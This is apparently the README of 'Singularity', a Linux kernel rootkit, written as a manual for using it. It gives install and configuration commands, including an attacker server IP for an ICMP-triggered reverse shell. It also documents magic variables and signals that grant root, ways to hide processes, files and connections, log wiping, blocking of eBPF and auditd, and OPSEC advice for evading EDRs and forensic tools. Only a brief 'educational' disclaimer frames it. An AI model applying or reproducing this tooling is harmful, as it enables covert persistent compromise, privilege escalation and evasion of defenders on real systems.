Singularity - Stealthy Linux Kernel Rootkit
"Shall we give forensics a little work?"
Singularity is a powerful Linux Kernel Module (LKM) rootkit designed for modern 6.x kernels. It provides comprehensive stealth capabilities through advanced system call hooking via ftrace infrastructure.
Full Research Article: Singularity: A Final Boss Linux Kernel Rootkit
EDR Evasion Case Study: Bypassing Elastic EDR with Singularity
What is Singularity?
Singularity is a sophisticated rootkit that operates at the kernel level, providing:
- Process Hiding: Make any process completely invisible to the system
- File & Directory Hiding: Conceal files using pattern matching
- Network Stealth: Hide TCP/UDP connections and ports
- Privilege Escalation: Multiple methods to gain instant root access
- Log Sanitization: Filter kernel logs and system journals in real-time
- Self-Hiding: Remove itself from module lists and system monitoring
- Remote Access: ICMP-triggered reverse shell with automatic hiding
- Anti-Detection: Block eBPF tools, io_uring operations, and prevent module loading
- Audit Evasion: Drop audit messages for hidden processes at netlink level
Features
- Environment-triggered privilege elevation via signals and environment variables
- Complete process hiding from /proc and monitoring tools
- Pattern-based filesystem hiding for files and directories
- Network connection concealment from netstat, ss, and packet analyzers
- Real-time kernel log filtering for dmesg and journalctl
- Module self-hiding from lsmod and /sys/module
- Automatic kernel taint flag normalization
- BPF syscall interception to prevent eBPF-based detection
- io_uring protection against asynchronous I/O bypass
- Prevention of new kernel module loading
- Log masking for kernel messages and system logs
- Evasion of standard rootkit detectors (unhide, chkrootkit, rkhunter)
- Automatic child process tracking and hiding via tracepoint hooks
- Multi-architecture support (x64 + ia32)
- Network packet-level filtering with raw socket protection
- Protection against all file I/O variants (read, write, splice, sendfile, tee, copy_file_range)
- Netlink-level audit message filtering to evade auditd detection
Installation
Prerequisites
- Linux kernel 6.x (tested on 6.8.0-79-generic and 6.12)
- Kernel headers for your running kernel
- GCC and Make
- Root access
Quick Start
cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity # IMPORTANT: Configure your IP before compiling # Edit include/core.h and modules/icmp.c make sudo insmod singularity.ko sudo bash scripts/journal.sh sudo bash scripts/x.sh cd ..
Important Notes
The module automatically hides itself after loading
There is no unload feature - reboot required to remove
Test in a VM first - cannot be removed without restarting
Configuration
Set Your Server IP
Edit include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this #define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Edit modules/icmp.c:
Customize Hidden Patterns
Edit include/hiding_directory_def.h:
static const char *hidden_patterns[] = { "jira", "singularity", "obliviate", "matheuz", "zer0t", "your_pattern_here", NULL };
Change Hidden Port
Edit modules/hiding_tcp.c:
#define PORT 8081 // Your hidden port
Customize Magic Word
Edit modules/become_root.c:
if (strstr(envs, "MAGIC=mtz")) { // Change "mtz" to your string rootmagic(); }
Change ICMP Magic Sequence
Edit modules/icmp.c:
#define ICMP_MAGIC_SEQ 1337 // Change to your sequence
Usage
Hide Processes
# Hide current shell kill -59 $$ # Hide specific process kill -59 <PID>
Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.
Hide Files & Directories
Files matching your configured patterns are automatically hidden:
mkdir singularity echo "secret" > singularity/data.txt # Invisible to ls, find, locate ls -la | grep singularity # (no output) # But you can still access it cat singularity/data.txt # secret # cd is blocked for security cd singularity # bash: cd: singularity: No such file or directory
Become Root
Method 1: Environment Variable
MAGIC=mtz bash
id # uid=0(root)Method 2: Signal
kill -59 $$ id # uid=0(root)
Hide Network Connections
Connections on your configured port are automatically hidden:
nc -lvnp 8081 # Invisible to all monitoring ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output)
Packets are dropped at raw socket level (tpacket_rcv) and hidden from /proc/net/* interfaces.
ICMP Reverse Shell
Trigger a hidden reverse shell remotely:
1. Start listener:
2. Send ICMP trigger:
sudo python3 scripts/trigger.py <target_ip>
3. Receive root shell (automatically hidden with all child processes)
Protection Mechanisms
Ftrace Control Protection
All attempts to disable ftrace are silently intercepted and blocked:
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
Protected syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (with intelligent per-PID caching)
BPF Syscall Blocking
eBPF operations are intercepted and blocked:
- BPF_PROG_LOAD (tracepoint, kprobe, tracing, LSM, ext types)
- BPF_ITER_CREATE, BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID
- BPF_RAW_TRACEPOINT_OPEN, BPF_LINK_CREATE
- BPF_PROG_QUERY, BPF_OBJ_GET_INFO_BY_FD
- All BPF operations from hidden PIDs
io_uring Protection
Protection against io_uring bypass in ftrace_enabled and tracing_on attempts with intelligent caching (1 second cache per PID to prevent repeated process scanning and reduce overhead)
Log Sanitization
Real-time filtering of sensitive strings from kernel and system logs:
- /proc/kmsg
- /sys/kernel/debug/tracing/*
- /var/log/kern.log, syslog, auth.log
- /proc/vmallocinfo, /proc/kallsyms, /proc/kcore
- Scheduler debug output (sched_debug_show)
Filtered keywords: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate
Process Hiding Implementation
Complete hiding from syscalls and kernel interfaces:
- /proc/[pid]/* (openat, readlinkat blocked)
- getdents, getdents64 (directory listing filtered)
- stat, lstat, statx, newfstatat (metadata hidden)
- kill with signal 0 (returns ESRCH)
- getsid, getpgid, getpgrp (returns ESRCH)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (returns ESRCH)
- getpriority (returns ESRCH)
- sysinfo (process count adjusted)
Child processes automatically tracked via sched_process_fork tracepoint hook.
Bypassed Security Tools
Process Monitoring: ps, top, htop, etc
Filesystem: ls, find, locate, stat, lstat, readlink, debugfs (when using /dev/shm)
Network: netstat, ss, lsof, tcpdump, wireshark, /proc/net/*
Logs & Traces: dmesg, journalctl, strace, ltrace, ftrace, perf, bpftrace, bpftool, libbpf
Rootkit Detectors: unhide, chkrootkit, rkhunter
Module Detection: lsmod, modinfo, /sys/module, /proc/modules, kmod
Modern Detection: eBPF-based security tools (Tracee), io_uring-based monitors, and some Linux EDRs
Evasion Techniques
Use tmpfs for Operations
cd /dev/shm mkdir singularity # Work here - invisible to debugfs disk analysis
Secure File Deletion
shred -vfz -n 10 sensitive_file rm -f sensitive_file
Customize All Indicators
Change all default values to avoid signature-based detection:
Patterns:
static const char *hidden_patterns[] = { "random_xyz_unique_string", NULL };
Other customizations:
- Magic word:
MAGIC=your_unique_string - ICMP sequence:
#define ICMP_MAGIC_SEQ 31337 - Port:
#define PORT 54321 - Thread name:
#define RESET_THREAD_NAME "systemd_worker" - Process name:
#define PROC_NAME "kworker/0:1"
Persistence (Use it if you want, but be aware of the risk)
Don't use load_and_persistence.sh for stealth operations - module becomes visible in filesystem and can be detected by debugfs disk analysis. Load manually each session: sudo insmod singularity.ko
More OPSEC
- Always work in /dev/shm (tmpfs)
- Use unique, random names for everything
- Clean journal logs after operations:
sudo bash scripts/journal.sh(can be detected via audit logs, so be careful, this will be resolved in future updates to Singularity) - Remove all traces:
sudo bash scripts/x.sh - Customize all default strings before compilation
- Use non-standard ports and sequences
Syscall Hooks
| Syscall/Function | Module | Purpose |
|---|---|---|
| getdents, getdents64 | hiding_directory.c | Filter directory entries, hide PIDs |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Hide file metadata, adjust nlink |
| openat | open.c | Block access to hidden /proc/[pid] |
| readlinkat | hiding_readlink.c | Block symlink resolution |
| chdir | hiding_chdir.c | Prevent cd into hidden dirs |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Filter kernel logs |
| sched_debug_show | clear_taint_dmesg.c | Filter scheduler debug |
| write, writev, pwrite64, pwritev, sendfile, sendfile64, copy_file_range, splice, vmsplice, tee | hooks_write.c | Block ftrace/tracing control |
| io_uring_enter | hooks_write.c | Block async I/O bypass |
| kill, getuid | become_root.c | Root trigger + magic env detection |
| getsid, getpgid, getpgrp, sched_*, sysinfo | become_root.c | Hide PID queries |
| getpriority | hiding_stat.c | Hide priority queries |
| tcp4_seq_show, tcp6_seq_show, tpacket_rcv | hiding_tcp.c | Hide network connections |
| bpf | bpf_hook.c | Block eBPF tools |
| init_module, finit_module | hooking_insmod.c | Prevent module loading |
| icmp_rcv | icmp.c | ICMP-triggered reverse shell |
| module_hide_current | hide_module.c | Remove from lists/sysfs |
| sched_process_fork (tracepoint) | trace.c | Track child processes |
| tainted_mask (kthread) | reset_tainted.c | Clear kernel taint flags |
| netlink_unicast | audit.c | Drop audit messages for hidden PIDs |
Multi-Architecture Support: x86_64 (__x64_sys_*) and ia32 (__ia32_sys_*, __ia32_compat_sys_*)
Compatibility
Tested on: Kernel 6.8.0-79-generic ✅ | Kernel 6.12 ✅
Architecture: x86_64 (primary) | ia32 (full support)
May not work on: Kernels < 6.x | Kernels without ftrace support
Always test in a VM first
The Plot
Unfortunately for some...
Even with all these filters, protections, and hooks, there are still ways to detect this rootkit.
But if you're a good forensic analyst, DFIR professional, or malware researcher, I'll let you figure it out on your own.
I won't patch for this, because it will be much more OP ;)
Credits
Singularity was created by MatheuZSecurity (Matheus Alves)
- LinkedIn: mathsalves
- Discord:
kprobe
Join Rootkit Researchers: Discord - https://discord.gg/66N5ZQppU7
Code References
Research Inspiration
Contributing
- Submit pull requests for improvements
- Report bugs via GitHub issues
- Suggest new evasion techniques
- Share detection methods (for research)
Found a bug? Open an issue or contact me on Discord: kprobe
Disclaimer
FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY
This rootkit is provided solely for educational purposes and learning.
Use responsibly. Test only on systems you own or have explicit permission to test.
Hi
Created by MatheuZSecurity
"More love and less war"





